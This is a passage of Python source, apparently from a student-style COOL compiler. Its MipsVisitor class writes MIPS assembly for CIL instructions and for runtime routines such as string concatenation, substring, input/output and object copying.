self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n 